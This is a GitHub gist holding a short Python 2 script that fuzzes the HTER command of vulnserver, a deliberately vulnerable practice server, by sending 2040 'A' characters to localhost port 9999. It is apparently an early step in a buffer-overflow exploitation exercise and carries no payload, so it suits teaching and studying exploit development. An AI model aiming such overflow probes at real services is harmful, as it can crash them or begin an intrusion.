Created
January 21, 2014 02:31
-
-
Save dave5623/8533465 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
# open a connection to vulnserver | |
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) | |
s.connect (("localhost", 9999)) | |
# receive the banner for vulnserver | |
s.recv (1024) | |
print "[*] Sending 2040 As" | |
# send the number of As to fuzz the HTER command | |
s.send ("HTER " + "A" * 2040 + " \r\n") | |
# receive the response from vulnserver | |
s.recv (1024) | |
# close the connection | |
s.close () |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment